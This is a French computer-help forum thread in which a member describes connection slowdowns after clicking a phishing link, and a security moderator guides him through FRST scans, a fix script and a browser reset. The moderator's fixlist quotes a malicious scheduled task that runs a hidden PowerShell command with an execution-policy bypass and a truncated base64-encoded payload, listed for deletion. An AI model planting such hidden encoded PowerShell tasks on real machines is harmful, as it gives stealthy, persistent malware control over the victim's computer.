Étrange problème de connexion

Fermé
Bomberfox Messages postés 17 Date d'inscription samedi 9 avril 2016 Statut Membre Dernière intervention 17 juillet 2018 - Modifié par Bomberfox le 9/04/2016 à 17:09
Bomberfox Messages postés 17 Date d'inscription samedi 9 avril 2016 Statut Membre Dernière intervention 17 juillet 2018 - 11 avril 2016 à 16:44
Bonjour, bonsoir,

Depuis maintenant 1 mois, j'ai de gros problème de connexion.
Mon ordinateur dit qu'il capte bien ma Livebox (Orange), la livebox capte bien Internet (mes autres appareils n'ont aucun problème avec cela, ce qui est bien bizarre) mais en jeu je suis à 1/5 barre de connexion. J'ai fait le SpeedTest, les résultats sont étranges et varie beaucoup. Ce n'est pas ma livebox qui a un problème, c'est donc mon ordinateur.
J'ai découvert quelque chose qui a grandement avancé mon enquête : J'ai 2 Utilisateurs sur mon Ordinateur : Un Responsable et un autre "Invité".
Le problème de connexion vient du Responsable, et quand je passe sur Invité, je n'ai aucun problème de connexion Internet. Je cogite, je cogite... Et là je me rappelle que j'avais cliqué sur un lien "phishing" et quelques temps après je me suis mis à beuguer ! J'avais déjà un logiciel qui nettoie (Advanced System Care 9), et mon Antivirus Avast ne détecte rien d'anormal. Un ami à moi m'a rétorqué que si c'était un problème de phishing, cela toucherait l'Ordinateur entier.
D'où vient mon problème ? Comment le régler ? SVP, je suis fatigué et j'ai réellement besoin d'aide. En espérant que vous avez une solution et que vous réussissiez à éclaircir le problème.

Merci D'Avance.

6 réponses

Malekal_morte- Messages postés 180304 Date d'inscription mercredi 17 mai 2006 Statut Modérateur, Contributeur sécurité Dernière intervention 15 décembre 2020 24 629
9 avril 2016 à 17:09
Salut,

Désinstalle les programmes IOBit.
Aucun intérêt.

Sur le compte qui pose problème :

Suis le tutoriel FRST. ( prends le temps de lire attentivement - tout y est bien expliqué ).

Télécharge et lance le scan FRST, 3 rapports FRST seront générés :
  • FRST.txt
  • Shortcut.txt
  • Additionnal.txt


Envoie ces 3 rapports sur le site http://pjjoint.malekal.com/ et en retour donne les 3 liens pjjoint qui mènent aux rapports ici dans une nouvelle réponse afin que l'on puisse les consulter.


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Bomberfox Messages postés 17 Date d'inscription samedi 9 avril 2016 Statut Membre Dernière intervention 17 juillet 2018
9 avril 2016 à 17:11
Merci beaucoup de votre aide, je vais m'y atteler.
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Malekal_morte- Messages postés 180304 Date d'inscription mercredi 17 mai 2006 Statut Modérateur, Contributeur sécurité Dernière intervention 15 décembre 2020 24 629
10 avril 2016 à 12:43
Voici la correction à effectuer avec FRST. Tu peux t'aider de cette note explicative avec des captures d'écran.

Ouvre le bloc-notes : Touche Windows + R,
Dans le champs "Exécuter", saisir notepad et OK.
Copie/Colle dedans ce qui suit :


CreateRestorePoint:
CloseProcesses:
Task: {D7BC1E0F-9D3D-4212-BF96-78EB55ADA88B} - System32\Tasks\{7D0C0447-0E7F-0579-0511-79797E0D110D} => powershell.exe -nologo -executionpolicy bypass -noninteractive -windowstyle hidden -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAcwB0AG8AcAAiADsAJABzAGMAPQAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAVwBhAHIAbgBpAG4AZwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJABzAGMAOwAkAFAAcgBvAGcA (l'élément de données a 9440 caractères en plus).
Reboot:

Une fois, le texte collé dans le Bloc-notes,
Menu "Fichier" puis "Enregistrer sous",
A gauche, place toi sur le Bureau,
Dans le champs en bas, nom du fichier mets : fixlist.txt
Clique sur "Enregistrer", cela va créer fixlist.txt sur le Bureau.

Relance FRST et clique sur le bouton "Corriger / Fix"
Un redémarrage sera peut-être nécessaire ( pas obligatoire )
Un fichier texte apparait, copie/colle le contenu ici dans un nouveau message.

Redémarre l'ordinateur.

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Bomberfox Messages postés 17 Date d'inscription samedi 9 avril 2016 Statut Membre Dernière intervention 17 juillet 2018
10 avril 2016 à 22:07
Compris, merci encore de m'aider :D
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Bomberfox Messages postés 17 Date d'inscription samedi 9 avril 2016 Statut Membre Dernière intervention 17 juillet 2018
9 avril 2016 à 21:18
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Bomberfox Messages postés 17 Date d'inscription samedi 9 avril 2016 Statut Membre Dernière intervention 17 juillet 2018
10 avril 2016 à 12:20
SVP Aidez moi :/
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Bomberfox Messages postés 17 Date d'inscription samedi 9 avril 2016 Statut Membre Dernière intervention 17 juillet 2018
10 avril 2016 à 22:27
Bonsoir,

Lors de la Correction, j'ai du redémarrer l'ordinateur, et après redémarrage,
aucune anomalie n'a été détectée. Mais juste avant le redémarrage, FRST m'a informé que le fichier FRST.txt a été modifié. Par prise de conscience, je vous envoie FRST.txt et Fixlog.txt qui a été effectivement crée à la suite de l'Analyse (Dans l'ordre : FRST - Fixlog) :

https://pjjoint.malekal.com/files.php?id=FRST_20160410_y15w8t1515c5

https://pjjoint.malekal.com/files.php?id=20160410_c8p9w10s9x13

Merci d'avance.
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Malekal_morte- Messages postés 180304 Date d'inscription mercredi 17 mai 2006 Statut Modérateur, Contributeur sécurité Dernière intervention 15 décembre 2020 24 629
10 avril 2016 à 23:16
Quand tu dis aucune anomalie, c'est que tu n'as plus de problème de charge de connexion ?

Sinon t'as Yahoo sur tes navigateurs WEB, mis surement par un installeur de programmes parasites, faudrait nettoyer et mettre le moteur de recherche voulu.

Réinitialise manuellement tes navigateurs :

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Bomberfox Messages postés 17 Date d'inscription samedi 9 avril 2016 Statut Membre Dernière intervention 17 juillet 2018
11 avril 2016 à 16:44
Très bien, merci bcp ! :D
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